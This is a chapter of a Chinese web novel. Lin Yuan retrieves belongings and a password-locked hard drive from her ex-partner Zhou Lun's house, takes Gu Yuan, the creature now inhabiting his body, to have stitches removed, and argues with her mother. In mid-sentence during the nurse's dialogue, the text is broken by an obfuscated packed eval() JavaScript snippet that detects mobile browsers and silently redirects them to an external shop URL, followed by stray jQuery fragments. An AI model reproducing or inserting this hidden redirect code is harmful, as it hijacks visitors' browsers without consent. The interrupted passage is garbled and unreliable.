橙子“收服”了并不承认的小弟之后，一人一猫在接下来的一周里相安无事，甚至可以说是相处融洽。


    白天猫咪橙子大部分时间在睡觉，偶尔起床巡视领地，满屋子转一圈，在鱼缸边蹲蹲，在故渊脚边蹭蹭，再跳回沙发上伸懒腰、磨爪子。


    而头悬梁、锥刺股的故渊则认真地上课读书写作业，网课老师姓陆，是一位比林瑗年龄稍长的女讲师，语文数学都是她一个人教，据她反馈，故渊不像是完全没有基础，倒像是部分认知功能受损，稍作提醒，他就能依稀回想起来，照目前的进度，半年读完小学不是梦。


    “初中我也能教。”陆老师诚恳地表示，“找我续课，给你们倾情优惠价，八五折。”


    五折还差不多。林瑗当然没好意思这么说，算了算最近的开销实在有点大，而且故渊还需要购买换洗的衣物、鞋袜，不能总穿那一套，电动剃须刀也要买，周二中午抽空带它去医院换药，它胡子拉碴的模样已经引起了护士的侧目，特意出言提醒，伤口在头上，不影响洗脸净面。


    办公桌上的手机亮了一下。


    不是她的那台，是周论的。编辑大多有备用机，倒是不会引人起疑，但弹出的消息又是telegram上的那个神秘ID，这次口气稍好一些：


    「货呢，你知道多少客户在等吗！」


    消息三秒后自动消失，屏幕恢复干净，仿佛什么都没发生过。


    林瑗试探着回过去三个字：「什么货?」


    这次换对方发来一串问号，再无讯息。


    手机的电池栏很快跳红报警，不同厂商不能快充，太麻烦了，看来连手机充电器也得多配一个。


    不如回去拿。


    不仅能省下这笔开销，她还能想办法从周论家里查清楚他需要发的到底是什么货。无论是取消交易还是代发，都要尽早了解这件事才好。


    实话实说，她完全不想再踏足周论生活过的地方。尽管周论本人的躯体现在就在她的小居室里寒窗苦读，但那不一样，她多次通过监控发现故渊会在休息时间试图和鱼缸里原来的同伴通话，如果不是有盖子挡着开口太小，它能把头伸进去。


    它和他截然不同。


    她想让它成为他，取代他，好好活下去，获得更长久、自由的生命。


    如果说一开始她只是为了自保，那么现在，已不止如此。


    *


    周末林瑗特地准备了两口硬实的大纸箱，开车带故渊直奔目的地。一来得靠它用指纹识别打开电子门锁，二来也需要它帮忙搬东西。


    空无一人的屋子里，飘荡着淡淡的灰尘气息。窗帘半拉着，光线从余下的缝隙里透进来，格外安静。茶几上还摆着周论走之前喝过的水杯，水早就干了，杯底一圈白渍。


    周论的家是二层复式，一楼主要是客厅厨卫，林瑗四处看了一会，没发现什么特别值得上加密网站交易的商品。


    二楼……林瑗握紧了拳，径直带着故渊往里走，一眼都不敢多看阳台。两人来到主卧的储物间，林瑗教故渊把看得顺眼的衣物整理一下往箱子里放，她则是去书房打开了周论的电脑。


    那是款触屏一体机，非常适合搬回去给故渊上网课，比她的小平板方便太多。林瑗按下开机键后，屏幕显示无法识别。


    她叫来故渊刷了下脸，成功进入系统。


    尽管来这里之前，她已经做过一番心理建设，但此时此刻，仍不免感受到来自道德的压力。林瑗深吸一口气，她无意侵犯周论的隐私，却也必须要尽量确保当下的安全，不至节外生枝。


    桌面很干净，只有几个常规文件夹和软件图标。磁盘里是各种专业书和考察资料，图片大多是资料照，看不出任何异常。


    网络游戏也没有，林瑗之前猜测会不会是虚拟账号、游戏装备之类的，但周论的娱乐软件只有系统自带和体育直播。


    显示全部文件，也没有隐藏文件夹。


    犹豫再三，林瑗还是打开了浏览器的收藏和历史记录，忽略掉一些个有颜色的网站，并无特殊之处。


    莫非，她想多了?搞不好周论就只是在外网和人语C而已。所谓的语言cosplay，假装什么地下□□玩接头。


    尽管她从未听说周论有类似的爱好，但她不知道的事还少么。


    林瑗拉开电脑桌下的抽屉——她需要找到周论的手机充电器，还有身份证、社保卡，以防万一。


    除此之外，她注意到底层有一块黑色的移动硬盘。


    林瑗眼前一亮，立刻把它拿出来连上电脑。屏幕弹出对话框：您的MyPasspot驱动器已被锁定。要为驱动器解锁，请在下面输入驱动器密码。


    她试着输入了周论的生日、手机号，都不对，一时半会也想不出别的，林瑗只好先把硬盘拔下来，带回去再慢慢试。


    从书房出来，故渊已经把衣物都装好了，正若有所思地在屋子里四处打量。


    “走吧。”


    没来由的，林瑗不希望它在这里待太久。


    “我们去医院拆线。”


    为免再收到护士的关照提醒，林瑗特地在车里提前给故渊剃了下胡子。她的smart太小，歪着身子侧过去，两个人都别扭，而且她的操作水平仅限于看过飞利浦的广告，也就比连广告都没看过的故渊强一点，剃完之后总感觉哪里不对。


    左边的鬓角怎么好像少了一块。


    算了，这不重要。林瑗微笑着冲故渊点点头，“好了，下车。”


    故渊没动。它从林瑗的表情里察觉到某种促狭，这让它很困惑。只要它抬手捂住那块被剃秃的鬓角，林瑗就会自以为不动声色地憋笑。


    她很高兴。


    明明不久前在那栋房子里，她一点也不高兴。


    有所领悟的故渊一路举着手去拆线，护士诧异问：“你是不是耳朵疼?用不用去楼下挂个号？”


    “不用了，不用了。”林瑗尴尬地上前打掩护，“它就是很……爱美。”


    “?”


    护士和故渊莫名其妙。


    伤口愈合得很好，只剩一道粉色的疤痕，再过段时间就会淡下去。


    见多识广的护士基于职业道德提示道：“病患特别注重形象的话，建议坚持涂抹硅酮凝胶


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316448|198863||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    三个月，严格防晒，可以降低疤痕增生的几率。”


    林瑗拽着故渊逃也似的离开诊室。


    刚上车系好安全带，林瑗的手机响了，是她妈王婉丽的电话。


    “瑗瑗啊，”王婉丽背后的杂音听起来像在超市，“晚上有没有空回家吃饭?家里来客人了。”


    “谁啊？”林瑗问。


    “你嫂子的弟弟，苏烈，从他们老家特地过来的。”王婉丽说，“你嫂子高兴得不行，这还是她怀孕之后，娘家第一次来人看她呢。你哥给订了接风宴，妈正买酒呢，一会带过去饭店，免得在那边点不划算。”


    苏烈?林瑗脑子里闪过这个名字——苏莹莹家号称三代“单”传的亲弟弟，虽然她一直闹不明白明明是姐弟两人，怎么苏家就一个一口单传了，但总归是别人家事。这个苏烈听说一直游手好闲，没个正经工作，突然过来倒没什么，但她……


    林瑗余光瞥向故渊。


    它这会倒是不捂鬓角了，闲着没事在研究车顶上的射灯，用手指一戳一亮，一戳一灭的，倒还真像个小学生。


    “妈，我手头还有稿子要赶，这周得加班，回不去。”林瑗推脱说，“你帮我跟嫂子解释一下。”


    “就知道你不来。”王婉丽语气里并没有多少失望，反而带上了一点聊天的兴致，“你哥都不介意藏鞋那事了，你还气着呢?”


    “我不是气，是他那人就不地道。”林瑗哼道。


    她妈说的是她哥在女方那边办婚礼那会儿，苏烈把他姐姐的鞋藏起来，非得让再拿两万红包才给。


    之所以说“再”，是因为之前谈婚礼流程的时候，分明说好给五千红包就行。临时加码，林家压根没准备那么多现金，那天林珩急得满头大汗，苏莹莹脸上都挂不住了，只有苏家父母笑呵呵的，还有闲心和亲戚一块看热闹、嗑瓜子。


    最后是林瑗急赤白脸地跑了两家ATM取的钱，而苏烈倒好，拿了红包，连他亲姐姐的婚礼都没结束，人就跑没影了。


    什么东西。


    就算事隔几年，林瑗想起来也还是要腹诽几句，别说她要看着故渊没空，就算有空也不想去。


    “还说不气。”王婉丽驳了她一嘴，倒没再继续这个话题，转而问道，“你和小周最近还好吗，没吵架吧?”


    “嗯呢。”林瑗含糊应答一声，握着方向盘的手指下意识收紧。


    “那就好。”王婉丽欣慰道，“难怪小周有一阵没找我们给你做思想工作了，我寻思着，你是不是已经答应跟他移民了？”


    “……是他找你们劝我?”


    “可不嘛。那边条件有多好都是小周给我们讲的，让你过去享福。还说等稳定之后把我们也接去国外住，你爸听得可开心了，直夸这孩子有心。”


    “……”


    林瑗胸口一股气顶上来，顶得她连最后那点心虚和内疚都没有了。


    “妈，他以后都不会再给你们打电话了。”


    王婉丽愣了一下：“什么意思？”


    “意思就是，”林瑗把那股翻涌的情绪压下去，平静道，“我们已经谈妥，不打算出国了。”